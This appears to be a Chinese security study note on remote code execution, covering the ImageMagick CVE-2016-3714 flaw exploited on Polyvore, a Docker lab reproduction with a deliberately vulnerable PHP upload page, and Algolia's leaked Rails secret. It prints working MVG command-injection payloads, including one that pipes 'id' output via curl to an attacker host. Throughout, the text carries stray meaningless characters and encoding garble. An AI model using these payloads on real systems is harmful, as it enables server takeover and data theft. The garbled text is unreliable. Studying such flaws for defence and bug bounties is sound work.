1. 實例:ImageMagick遠程命令執(zhí)行漏洞在Polyvore的利用
ImageMagick是一個被廣泛用于處理圖片的軟件包钞钙,用于PHP的imagick, Ruby的rmagick和NodeJS的imagemagick竣稽,在ImageMagick的眾多漏洞中谅年,一個遠程代碼執(zhí)行漏洞危害顯著辩恼。
由于ImageMagick沒有處理好傳入的文件名扒寄,并把它最終用于調(diào)用system()方法或杠,攻擊者可以傳入一個可執(zhí)行命令哪怔,類似于 https://example.com"|ls "-la
完整的命令就是:convert 'https://example.com"|ls "-la' out.png
攻擊者還可以按ImageMagick定義的語法構(gòu)造.mvg文件:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
以此為背景,Ben Sadeghipour測試了Polyvore網(wǎng)站向抢,Ben 首先在它所控制的本地機器上測試了該漏洞认境,來確認mvg文件是否正常工作。這是他使用的代碼:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:80
80/ -d @- > /dev/null`'
pop graphic-context
它使用了 CURL 庫來調(diào)用 SOMEIPADDRESS(將其修改為你服務(wù)器的地址)挟鸠。如果成功元暴,你就會得到像這樣的響應(yīng):
下面 Ben 瀏覽了 Polyvore,將文件上傳為它的資料頭像兄猩,并在它的服務(wù)器上收到了這個響應(yīng):
Tips1
- 關(guān)注軟件漏洞茉盏、通用漏洞、CVE...
- 黑盒測試時關(guān)注圖片上傳功能
- 閱讀網(wǎng)站所用技術(shù)的文檔
2. 補充:ImageMagick-CVE-2016-3714
影響范圍:ImageMagick 6.9.3-9 以前的所有版本
支持:PHP枢冤、Ruby鸠姨、NodeJS 和 Python
許多網(wǎng)站開發(fā)者喜愛使用 ImageMagick 拓展來做 web 上的圖片處理工作, 比如用戶頭像生成、圖片編輯等淹真。
測試:
環(huán)境:ImageMagick 命令執(zhí)行漏洞(CVE-2016–3714)環(huán)境
poc文件內(nèi)容
poc.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context
本地執(zhí)行
sh-4.3# convert poc.png out.png
total 92
drwxr-xr-x 1 root root 4096 Mar 22 18:40 .
drwxr-xr-x 1 root root 4096 Mar 22 18:40 ..
-rwxr-xr-x 1 root root 0 Mar 22 18:36 .dockerenv
-rw-r--r-- 1 root root 12288 Mar 22 18:37 .poc.png.swp
drwxr-xr-x 1 root root 4096 Aug 25 2016 bin
drwxr-xr-x 2 root root 4096 Apr 11 2014 boot
drwxr-xr-x 5 root root 340 Mar 22 18:36 dev
drwxr-xr-x 1 root root 4096 Mar 22 18:36 etc
drwxr-xr-x 2 root root 4096 Apr 11 2014 home
drwxr-xr-x 1 root root 4096 Aug 25 2016 lib
drwxr-xr-x 2 root root 4096 Aug 2 2016 lib64
drwxr-xr-x 2 root root 4096 Aug 2 2016 media
drwxr-xr-x 2 root root 4096 Apr 11 2014 mnt
drwxr-xr-x 2 root root 4096 Aug 2 2016 opt
-rw-r--r-- 1 root root 103 Aug 25 2016 poc.png
dr-xr-xr-x 154 root root 0 Mar 22 18:36 proc
drwx------ 1 root root 4096 Mar 22 18:40 root
drwxr-xr-x 1 root root 4096 Aug 14 2016 run
drwxr-xr-x 1 root root 4096 Aug 12 2016 sbin
drwxr-xr-x 2 root root 4096 Aug 2 2016 srv
-rwxr-xr-x 1 root root 77 Aug 25 2016 start.sh
dr-xr-xr-x 13 root root 0 Mar 22 18:36 sys
drwxrwxrwt 1 root root 4096 Mar 22 18:40 tmp
drwxr-xr-x 1 root root 4096 Aug 25 2016 usr
drwxr-xr-x 1 root root 4096 Aug 25 2016 var
convert: unrecognized color `https://evalbug.com/"|ls -la"' @ warning/color.c/GetColorCompliance/947.
convert: no decode delegate for this image format `/tmp/magick-CUnxjsCc' @ error/constitute.c/ReadImage/584.
convert: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3164.
sh-4.3#
遠程執(zhí)行
上傳一個簡單圖片上傳頁面到測試環(huán)境docker
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
<?php
$filename = $_FILES['file']['name'];
$type = substr($filename, strrpos($filename, '.')+1);
if ($type === "jpg" || $type === "png" || $type === "gif") {
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
$imgObject = new Imagick($filename);
}
?>
</html>
docker cp C:\Users\Cheng\Desktop\test.php (Container ID):/var/www/html
新建test1.png讶迁,上傳至ImageMagick漏洞環(huán)境
ipconfig查看docker NAT適配器ip為10.0.75.1,關(guān)閉本機防火墻
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|curl http://10.0.75.1:8111/GambroHackImageMagick")'
pop graphic-context
主機上使用SimpleHTTPServer監(jiān)聽8111端口
成功收到請求
3. 實例: Algolia RCE
報告:https://hackerone.com/reports/134321
使用 Gitrob發(fā)現(xiàn)了Algolia在公開數(shù)據(jù)庫上泄露的Rails secret_key_base
Rails的session cookie形如
session=BAh7B0kiD3Nlc3Npb25faWQGOdxM3M9BjsARg%3D%3D–dc40a55cd52fe32bb3b8
在-之前的是Base64編碼核蘸,之后的是一個HMAC簽名巍糯,用來校驗前面編碼的正確性,而HMAC簽名的生成需要上面的secret作為輸入客扎。
Rails在接收cookie并驗證簽名的時候祟峦,會將對象反序列化,這個反序列化的過程會造成漏洞徙鱼。
此時已知secret宅楞,攻擊者就可以構(gòu)造一個序列化對象保存成Base64編碼针姿,并正確地簽名。這里可以利用metasploit的Rails Secret Deserialization工具來執(zhí)行任意代碼厌衙。
Tips2
Gitrob——一個查找推送到Github上的公共存儲庫的潛在敏感文件的工具
Rails Secret Deserialization on Metasploit-framework
Reference
Web Hacking 101
ImageMagick-CVE-2016-3714 命令執(zhí)行分析
ImageMagick遠程代碼執(zhí)行漏洞分析
ImageMagick 命令執(zhí)行漏洞(CVE-2016–3714)環(huán)境
Resources
Server-Side Template Injection by James Kettle —— 歸納了各類模板的RCE